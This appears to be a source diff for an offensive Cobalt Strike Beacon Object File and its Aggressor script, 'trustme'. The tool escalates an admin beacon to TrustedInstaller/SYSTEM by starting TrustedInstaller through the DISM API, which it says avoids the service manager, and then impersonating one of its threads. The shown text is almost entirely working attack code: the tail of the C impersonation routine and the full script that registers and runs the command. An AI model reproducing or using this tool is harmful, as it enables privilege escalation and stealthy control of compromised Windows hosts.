BeaconPrintf(CALLBACK_OUTPUT, "[!] BeaconUseToken failed, but thread impersonation is still active");
} else {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Token applied to Beacon session");
}
// BeaconUseToken duplicates internally, but we don't close here just in case the implementation varies
} else {
BeaconPrintf(CALLBACK_OUTPUT, "[!] Could not open thread token for BeaconUseToken (err: %lu), impersonation still active on this thread", KERNEL32$GetLastError());
}
found = TRUE;
pNtC(hThread);
pNtC(hProcess);
goto cleanup_dism;
}
BeaconPrintf(CALLBACK_OUTPUT, "[!] Impersonation returned unexpected identity: %s", username);
}
if (hPrevThread) pNtC(hPrevThread);
pNtC(hProcess);
BeaconPrintf(CALLBACK_ERROR, "Found TrustedInstaller but could not impersonate any thread");
goto cleanup_dism;
}
if (hPrevProcess && !found) pNtC(hPrevProcess);
if (!found) {
BeaconPrintf(CALLBACK_ERROR, "TrustedInstaller.exe not found in process walk");
}
// clean up
cleanup_dism:
pDismCloseSession(session);
pDismShutdown();
KERNEL32$FreeLibrary(hDism);
if (found) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Now running as TrustedInstaller. Use 'rev2self' to revert.");
}
}

38
trustme.cna Normal file
View File

@ -0,0 +1,38 @@
#
# trustme.cna - Aggressor script for the TrustedInstaller impersonation BOF
#
# Usage: trustme
# Requires: Admin beacon with SeDebugPrivilege available
# Revert: rev2self
#
beacon_command_register(
"trustme",
"Impersonate TrustedInstaller via DISM API trigger and thread impersonation.",
"Synopsis: trustme\n\nElevates the current beacon thread to TrustedInstaller/SYSTEM context.\nUses the DISM API to start TrustedInstaller.exe without touching SCM,\nthen walks processes via NtGetNextProcess and impersonates a thread.\n\nRequires: Elevated (admin) beacon.\nRevert: rev2self"
);
alias trustme {
local('$barch $handle $data $args');
# Verify the beacon is in an elevated context
if (!-isadmin $1) {
berror($1, "trustme requires an elevated (admin) beacon.");
return;
}
# Determine architecture and load the correct object file
$barch = barch($1);
$handle = openf(script_resource("trustme. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
if (strlen($data) == 0) {
berror($1, "Could not read trustme. $+ $barch $+ .o, is the object file in the same directory as this script?");
return;
}
# No arguments needed for this BOF
btask($1, "Attempting to impersonate TrustedInstaller via DISM...");
beacon_inline_execute($1, $data, "go", $null);
}